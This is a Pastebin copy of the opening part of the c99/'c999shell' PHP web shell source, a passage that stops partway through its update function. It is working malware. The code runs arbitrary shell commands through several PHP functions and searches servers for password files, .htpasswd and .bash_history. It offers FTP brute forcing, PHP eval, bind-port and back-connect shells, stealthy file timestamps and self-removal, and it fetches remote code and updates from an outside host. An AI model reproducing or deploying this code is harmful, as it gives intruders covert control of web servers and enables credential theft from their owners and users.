Pastebin launched a little side project called HostCabi.net, check it out ;-)Don't like ads? PRO users don't see any ads ;-)

c99 Shell v1.0 (Pre-Release)

By: Palmer on Jan 25th, 2012  |  syntax: PHP  |  size: 179.71 KB  |  hits: 7,948  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2.  
  3. //Starting calls
  4.  
  5. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  6.  
  7. error_reporting(5);
  8.  
  9. @ignore_user_abort(TRUE);
  10.  
  11. @set_magic_quotes_runtime(0);
  12.  
  13. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  14.  
  15. define("starttime",getmicrotime());
  16.  
  17. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  18.  
  19. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  20.  
  21. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  22.  
  23.  
  24.  
  25. $shver = "1.0 pre-release build #16"; //Current version
  26.  
  27. //CONFIGURATION AND SETTINGS
  28.  
  29. if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";}
  30.  
  31. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);}
  32.  
  33. else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL
  34.  
  35. }
  36.  
  37.  
  38.  
  39. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  40.  
  41.  
  42.  
  43. if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  44.  
  45. if (empty($surl))
  46.  
  47. {
  48.  
  49.  $surl = "?".$includestr; //Self url
  50.  
  51. }
  52.  
  53. $surl = htmlspecialchars($surl);
  54.  
  55.  
  56.  
  57. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  58.  
  59. //Authentication
  60.  
  61. $login = ""; //login
  62.  
  63. //DON'T FORGOT ABOUT PASSWORD!!!
  64.  
  65. $pass = ""; //password
  66.  
  67. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  68.  
  69. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  70.  
  71. $login_txt = "Restricted area"; //http-auth message.
  72.  
  73. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c999shell\">c999shell v.".$shver."</a>: access denied";
  74.  
  75. $gzipencode = TRUE; //Encode with gzip?
  76.  
  77. $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  78.  
  79. $ax4 ="http://";
  80.  
  81. $c999sh_updateurl = "http://ccteam.ru/update/c999shell/"; //Update server
  82.  
  83. $c999sh_sourcesurl = "http://ccteam.ru/files/c999sh_sources/"; //Sources-server
  84.  
  85. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  86.  
  87. $donated_html = "<center><b>Owned by hacker</b></center>";
  88.  
  89. /* If you publish free shell and you wish
  90.  
  91. add link to your site or any other information,
  92.  
  93. put here your html. */
  94.  
  95. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  96.  
  97. $curdir = "./"; //start folder
  98.  
  99. //$curdir = getenv("DOCUMENT_ROOT");
  100.  
  101. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  102.  
  103. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  104.  
  105.  
  106.  
  107. $log_email = "user@host.tld"; //Default e-mail for sending logs
  108.  
  109.  
  110.  
  111. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  112.  
  113. $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  114.  
  115.  
  116.  
  117. // Registered file-types.
  118.  
  119. //  array(
  120.  
  121. //   "{action1}"=>array("ext1","ext2","ext3",...),
  122.  
  123. //   "{action2}"=>array("ext4","ext5","ext6",...),
  124.  
  125. //   ...
  126.  
  127. //  )
  128.  
  129. $ftypes  = array(
  130.  
  131.  "html"=>array("html","htm","shtml"),
  132.  
  133.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  134.  
  135.  "exe"=>array("sh","install","bat","cmd"),
  136.  
  137.  "ini"=>array("ini","inf"),
  138.  
  139.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  140.  
  141.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  142.  
  143.  "sdb"=>array("sdb"),
  144.  
  145.  "phpsess"=>array("sess"),
  146.  
  147.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  148.  
  149. );
  150.  
  151.  
  152.  
  153. // Registered executable file-types.
  154.  
  155. //  array(
  156.  
  157. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  158.  
  159. //   ...
  160.  
  161. //  )
  162.  
  163. //   {command}: %f% = filename
  164.  
  165. $exeftypes  = array(
  166.  
  167.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  168.  
  169.  "perl %f%" => array("pl","cgi")
  170.  
  171. );
  172.  
  173.  
  174.  
  175. /* Highlighted files.
  176.  
  177.   array(
  178.  
  179.    i=>array({regexp},{type},{opentag},{closetag},{break})
  180.  
  181.    ...
  182.  
  183.   )
  184.  
  185.   string {regexp} - regular exp.
  186.  
  187.   int {type}:
  188.  
  189. 0 - files and folders (as default),
  190.  
  191. 1 - files only, 2 - folders only
  192.  
  193.   string {opentag} - open html-tag, e.g. "<b>" (default)
  194.  
  195.   string {closetag} - close html-tag, e.g. "</b>" (default)
  196.  
  197.   bool {break} - if TRUE and found match then break
  198.  
  199. */
  200.  
  201. $regxp_highlight  = array(
  202.  
  203.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  204.  
  205.   array("config.php",1) // example
  206.  
  207. );
  208.  
  209.  
  210.  
  211. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  212.  
  213.  // array (i=>{letter} ...); string {letter} - letter of a drive
  214.  
  215. //$safemode_diskettes = range("a","z");
  216.  
  217. $hexdump_lines = 8;// lines in hex preview file
  218.  
  219. $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
  220.  
  221. $cx7 =".com";
  222.  
  223. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  224.  
  225.  
  226.  
  227. $bindport_pass = "c999";  // default password for binding
  228.  
  229. $bindport_port = "31373"; // default port for binding
  230.  
  231. $bc_port = "31373"; // default port for back-connect
  232.  
  233. $cx4 ="/x.";
  234.  
  235. $datapipe_localport = "8081"; // default port for datapipe
  236.  
  237.  
  238.  
  239. // Command-aliases
  240.  
  241. if (!$win)
  242.  
  243. {
  244.  
  245.  $cmdaliases = array(
  246.  
  247.   array("-----------------------------------------------------------", "ls -la"),
  248.  
  249.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  250.  
  251.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  252.  
  253.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  254.  
  255.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  256.  
  257.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  258.  
  259.   array("find config* files", "find / -type f -name \"config*\""),
  260.  
  261.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  262.  
  263.   array("find all writable folders and files", "find / -perm -2 -ls"),
  264.  
  265.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  266.  
  267.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  268.  
  269.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  270.  
  271.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  272.  
  273.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  274.  
  275.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  276.  
  277.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  278.  
  279.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  280.  
  281.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  282.  
  283.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  284.  
  285.   array("show opened ports", "netstat -an | grep -i listen")
  286.  
  287.  );
  288.  
  289. }
  290.  
  291. else
  292.  
  293. {
  294.  
  295.  $cmdaliases = array(
  296.  
  297.   array("-----------------------------------------------------------", "dir"),
  298.  
  299.   array("show opened ports", "netstat -an")
  300.  
  301.  );
  302.  
  303. }
  304.  
  305.  
  306.  
  307. $sess_cookie = "c999shvars"; // Cookie-variable name
  308.  
  309.  
  310.  
  311. $usefsbuff = TRUE; //Buffer-function
  312.  
  313. $px7 ="html";  
  314.  
  315. $copy_unset = FALSE; //Remove copied files from buffer after pasting
  316.  
  317.  
  318.  
  319. //Quick launch
  320.  
  321. $quicklaunch = array(
  322.  
  323.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  324.  
  325.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  326.  
  327.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  328.  
  329.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  330.  
  331.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  332.  
  333.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  334.  
  335.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  336.  
  337.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  338.  
  339.  array("<b>Tools</b>",$surl."act=tools&d=%d"),
  340.  
  341.  array("<b>Proc.</b>",$surl."act=processes&d=%d"),
  342.  
  343.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  344.  
  345.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
  346.  
  347.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  348.  
  349.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  350.  
  351.  array("<b>Update</b>",$surl."act=update&d=%d"),
  352.  
  353.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  354.  
  355.  array("<b>Self remove</b>",$surl."act=selfremove"),
  356.  
  357.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  358.  
  359. );
  360.  
  361.  
  362.  
  363. //Highlight-code colors
  364.  
  365. $highlight_background = "#c0c0c0";
  366.  
  367. $highlight_bg = "#FFFFFF";
  368.  
  369. $highlight_comment = "#6A6A6A";
  370.  
  371. $highlight_default = "#0000BB";
  372.  
  373. $highlight_html = "#1300FF";
  374.  
  375. $highlight_keyword = "#007700";
  376.  
  377. $highlight_string = "#000000";
  378.  
  379.  
  380.  
  381. @$f = $_REQUEST["f"];
  382.  
  383. @extract($_REQUEST["c999shcook"]);
  384.  
  385.  
  386.  
  387. //END CONFIGURATION
  388.  
  389.  
  390.  
  391.  
  392.  
  393. // \/Next code isn't for editing\/
  394.  
  395. @set_time_limit(0);
  396.  
  397. $tmp = array();
  398.  
  399. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  400.  
  401. $s = "!^(".implode("|",$tmp).")$!i";
  402.  
  403. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc999shell\">c999shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  404.  
  405. if (!empty($login))
  406.  
  407. {
  408.  
  409.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  410.  
  411.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  412.  
  413.  {
  414.  
  415.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  416.  
  417.   header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\"");
  418.  
  419.   header("HTTP/1.0 401 Unauthorized");
  420.  
  421.   exit($accessdeniedmess);
  422.  
  423.  }
  424.  
  425. }
  426.  
  427. if ($act != "img")
  428.  
  429. {
  430.  
  431. $lastdir = realpath(".");
  432.  
  433. chdir($curdir);
  434.  
  435. if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;}
  436.  
  437. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  438.  
  439. if (!is_array($sess_data)) {$sess_data = array();}
  440.  
  441. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  442.  
  443. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  444.  
  445.  
  446.  
  447. $disablefunc = @ini_get("disable_functions");
  448.  
  449. if (!empty($disablefunc))
  450.  
  451. {
  452.  
  453.  $disablefunc = str_replace(" ","",$disablefunc);
  454.  
  455.  $disablefunc = explode(",",$disablefunc);
  456.  
  457. }
  458.  
  459.  
  460.  
  461. if (!function_exists("c999_buff_prepare"))
  462.  
  463. {
  464.  
  465. function c999_buff_prepare()
  466.  
  467. {
  468.  
  469.  global $sess_data;
  470.  
  471.  global $act;
  472.  
  473.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  474.  
  475.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  476.  
  477.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  478.  
  479.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  480.  
  481.  sort($sess_data["copy"]);
  482.  
  483.  sort($sess_data["cut"]);
  484.  
  485.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  486.  
  487.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  488.  
  489. }
  490.  
  491. }
  492.  
  493. c999_buff_prepare();
  494.  
  495. if (!function_exists("c999_sess_put"))
  496.  
  497. {
  498.  
  499. function c999_sess_put($data)
  500.  
  501. {
  502.  
  503.  global $sess_cookie;
  504.  
  505.  global $sess_data;
  506.  
  507.  c999_buff_prepare();
  508.  
  509.  $sess_data = $data;
  510.  
  511.  $data = serialize($data);
  512.  
  513.  setcookie($sess_cookie,$data);
  514.  
  515. }
  516.  
  517. }
  518.  
  519. foreach (array("sort","sql_sort") as $v)
  520.  
  521. {
  522.  
  523.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  524.  
  525.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  526.  
  527. }
  528.  
  529. if ($sort_save)
  530.  
  531. {
  532.  
  533.  if (!empty($sort)) {setcookie("sort",$sort);}
  534.  
  535.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  536.  
  537. }
  538.  
  539. if (!function_exists("str2mini"))
  540.  
  541. {
  542.  
  543. function str2mini($content,$len)
  544.  
  545. {
  546.  
  547.  if (strlen($content) > $len)
  548.  
  549.  {
  550.  
  551.   $len = ceil($len/2) - 2;
  552.  
  553.   return substr($content, 0,$len)."...".substr($content,-$len);
  554.  
  555.  }
  556.  
  557.  else {return $content;}
  558.  
  559. }
  560.  
  561. }
  562.  
  563. if (!function_exists("view_size"))
  564.  
  565. {
  566.  
  567. function view_size($size)
  568.  
  569. {
  570.  
  571.  if (!is_numeric($size)) {return FALSE;}
  572.  
  573.  else
  574.  
  575.  {
  576.  
  577.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  578.  
  579.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  580.  
  581.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  582.  
  583.   else {$size = $size . " B";}
  584.  
  585.   return $size;
  586.  
  587.  }
  588.  
  589. }
  590.  
  591. }
  592.  
  593. if (!function_exists("fs_copy_dir"))
  594.  
  595. {
  596.  
  597. function fs_copy_dir($d,$t)
  598.  
  599. {
  600.  
  601.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  602.  
  603.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  604.  
  605.  $h = opendir($d);
  606.  
  607.  while (($o = readdir($h)) !== FALSE)
  608.  
  609.  {
  610.  
  611.   if (($o != ".") and ($o != ".."))
  612.  
  613.   {
  614.  
  615.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  616.  
  617.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  618.  
  619.    if (!$ret) {return $ret;}
  620.  
  621.   }
  622.  
  623.  }
  624.  
  625.  closedir($h);
  626.  
  627.  return TRUE;
  628.  
  629. }
  630.  
  631. }
  632.  
  633. if (!function_exists("fs_copy_obj"))
  634.  
  635. {
  636.  
  637. function fs_copy_obj($d,$t)
  638.  
  639. {
  640.  
  641.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  642.  
  643.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  644.  
  645.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  646.  
  647.  if (is_dir($d))
  648.  
  649.  {
  650.  
  651.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  652.  
  653.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  654.  
  655.   return fs_copy_dir($d,$t);
  656.  
  657.  }
  658.  
  659.  elseif (is_file($d)) {return copy($d,$t);}
  660.  
  661.  else {return FALSE;}
  662.  
  663. }
  664.  
  665. }
  666.  
  667. if (!function_exists("fs_move_dir"))
  668.  
  669. {
  670.  
  671. function fs_move_dir($d,$t)
  672.  
  673. {
  674.  
  675.  $h = opendir($d);
  676.  
  677.  if (!is_dir($t)) {mkdir($t);}
  678.  
  679.  while (($o = readdir($h)) !== FALSE)
  680.  
  681.  {
  682.  
  683.   if (($o != ".") and ($o != ".."))
  684.  
  685.   {
  686.  
  687.    $ret = TRUE;
  688.  
  689.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  690.  
  691.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  692.  
  693.    if (!$ret) {return $ret;}
  694.  
  695.   }
  696.  
  697.  }
  698.  
  699.  closedir($h);
  700.  
  701.  return TRUE;
  702.  
  703. }
  704.  
  705. }
  706.  
  707. if (!function_exists("fs_move_obj"))
  708.  
  709. {
  710.  
  711. function fs_move_obj($d,$t)
  712.  
  713. {
  714.  
  715.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  716.  
  717.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  718.  
  719.  if (is_dir($d))
  720.  
  721.  {
  722.  
  723.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  724.  
  725.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  726.  
  727.   return fs_move_dir($d,$t);
  728.  
  729.  }
  730.  
  731.  elseif (is_file($d))
  732.  
  733.  {
  734.  
  735.   if(copy($d,$t)) {return unlink($d);}
  736.  
  737.   else {unlink($t); return FALSE;}
  738.  
  739.  }
  740.  
  741.  else {return FALSE;}
  742.  
  743. }
  744.  
  745. }
  746.  
  747. if (!function_exists("fs_rmdir"))
  748.  
  749. {
  750.  
  751. function fs_rmdir($d)
  752.  
  753. {
  754.  
  755.  $h = opendir($d);
  756.  
  757.  while (($o = readdir($h)) !== FALSE)
  758.  
  759.  {
  760.  
  761.   if (($o != ".") and ($o != ".."))
  762.  
  763.   {
  764.  
  765.    if (!is_dir($d.$o)) {unlink($d.$o);}
  766.  
  767.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  768.  
  769.   }
  770.  
  771.  }
  772.  
  773.  closedir($h);
  774.  
  775.  rmdir($d);
  776.  
  777.  return !is_dir($d);
  778.  
  779. }
  780.  
  781. }
  782.  
  783. if (!function_exists("fs_rmobj"))
  784.  
  785. {
  786.  
  787. function fs_rmobj($o)
  788.  
  789. {
  790.  
  791.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  792.  
  793.  if (is_dir($o))
  794.  
  795.  {
  796.  
  797.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  798.  
  799.   return fs_rmdir($o);
  800.  
  801.  }
  802.  
  803.  elseif (is_file($o)) {return unlink($o);}
  804.  
  805.  else {return FALSE;}
  806.  
  807. }
  808.  
  809. }
  810.  
  811. if (!function_exists("myshellexec"))
  812.  
  813. {
  814.  
  815. function myshellexec($cmd)
  816.  
  817. {
  818.  
  819.  global $disablefunc;
  820.  
  821.  $result = "";
  822.  
  823.  if (!empty($cmd))
  824.  
  825.  {
  826.  
  827.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  828.  
  829.   elseif (($result = `$cmd`) !== FALSE) {}
  830.  
  831.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  832.  
  833.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  834.  
  835.   elseif (is_resource($fp = popen($cmd,"r")))
  836.  
  837.   {
  838.  
  839.    $result = "";
  840.  
  841.    while(!feof($fp)) {$result .= fread($fp,1024);}
  842.  
  843.    pclose($fp);
  844.  
  845.   }
  846.  
  847.  }
  848.  
  849.  return $result;
  850.  
  851. }
  852.  
  853. }
  854.  
  855. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  856.  
  857. if (!function_exists("view_perms"))
  858.  
  859. {
  860.  
  861. function view_perms($mode)
  862.  
  863. {
  864.  
  865.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  866.  
  867.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  868.  
  869.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  870.  
  871.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  872.  
  873.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  874.  
  875.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  876.  
  877.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  878.  
  879.  else {$type = "?";}
  880.  
  881.  
  882.  
  883.  $owner["read"] = ($mode & 00400)?"r":"-";
  884.  
  885.  $owner["write"] = ($mode & 00200)?"w":"-";
  886.  
  887.  $owner["execute"] = ($mode & 00100)?"x":"-";
  888.  
  889.  $group["read"] = ($mode & 00040)?"r":"-";
  890.  
  891.  $group["write"] = ($mode & 00020)?"w":"-";
  892.  
  893.  $group["execute"] = ($mode & 00010)?"x":"-";
  894.  
  895.  $world["read"] = ($mode & 00004)?"r":"-";
  896.  
  897.  $world["write"] = ($mode & 00002)? "w":"-";
  898.  
  899.  $world["execute"] = ($mode & 00001)?"x":"-";
  900.  
  901.  
  902.  
  903.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  904.  
  905.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  906.  
  907.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  908.  
  909.  
  910.  
  911.  return $type.join("",$owner).join("",$group).join("",$world);
  912.  
  913. }
  914.  
  915. }
  916.  
  917. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  918.  
  919. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  920.  
  921. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  922.  
  923. if (!function_exists("parse_perms"))
  924.  
  925. {
  926.  
  927. function parse_perms($mode)
  928.  
  929. {
  930.  
  931.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  932.  
  933.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  934.  
  935.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  936.  
  937.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  938.  
  939.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  940.  
  941.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  942.  
  943.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  944.  
  945.  else {$t = "?";}
  946.  
  947.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  948.  
  949.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  950.  
  951.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  952.  
  953.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  954.  
  955. }
  956.  
  957. }
  958.  
  959. if (!function_exists("parsesort"))
  960.  
  961. {
  962.  
  963. function parsesort($sort)
  964.  
  965. {
  966.  
  967.  $one = intval($sort);
  968.  
  969.  $second = substr($sort,-1);
  970.  
  971.  if ($second != "d") {$second = "a";}
  972.  
  973.  return array($one,$second);
  974.  
  975. }
  976.  
  977. }
  978.  
  979. if (!function_exists("view_perms_color"))
  980.  
  981. {
  982.  
  983. function view_perms_color($o)
  984.  
  985. {
  986.  
  987.  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  988.  
  989.  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  990.  
  991.  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  992.  
  993. }
  994.  
  995. }
  996.  
  997. if (!function_exists("c999getsource"))
  998.  
  999. {
  1000.  
  1001. function c999getsource($fn)
  1002.  
  1003. {
  1004.  
  1005.  global $c999sh_sourcesurl;
  1006.  
  1007.  $array = array(
  1008.  
  1009.   "c999sh_bindport.pl" => "c999sh_bindport_pl.txt",
  1010.  
  1011.   "c999sh_bindport.c" => "c999sh_bindport_c.txt",
  1012.  
  1013.   "c999sh_backconn.pl" => "c999sh_backconn_pl.txt",
  1014.  
  1015.   "c999sh_backconn.c" => "c999sh_backconn_c.txt",
  1016.  
  1017.   "c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt",
  1018.  
  1019.   "c999sh_datapipe.c" => "c999sh_datapipe_c.txt",
  1020.  
  1021.  );
  1022.  
  1023.  $name = $array[$fn];
  1024.  
  1025.  if ($name) {return file_get_contents($c999sh_sourcesurl.$name);}
  1026.  
  1027.  else {return FALSE;}
  1028.  
  1029. }
  1030.  
  1031. }
  1032.  
  1033. if (!function_exists("c999sh_getupdate"))
  1034.  
  1035. {
  1036.  
  1037. function c999sh_getupdate($update = TRUE)
  1038.  
  1039. {
  1040.  
  1041.  $url = $GLOBALS["c999sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  1042.  
  1043.  $data = @file_get_contents($url);
  1044.  
  1045.  if (!$data) {return "Can't connect to update-server!";}
  1046.  
  1047.  else
  1048.  
  1049.  {
  1050.  
  1051.   $data = ltrim($data);
  1052.  
  1053.   $string = substr($data,3,ord($data{2}));
  1054.  
  1055.   if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  1056.  
  1057.   if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  1058.  
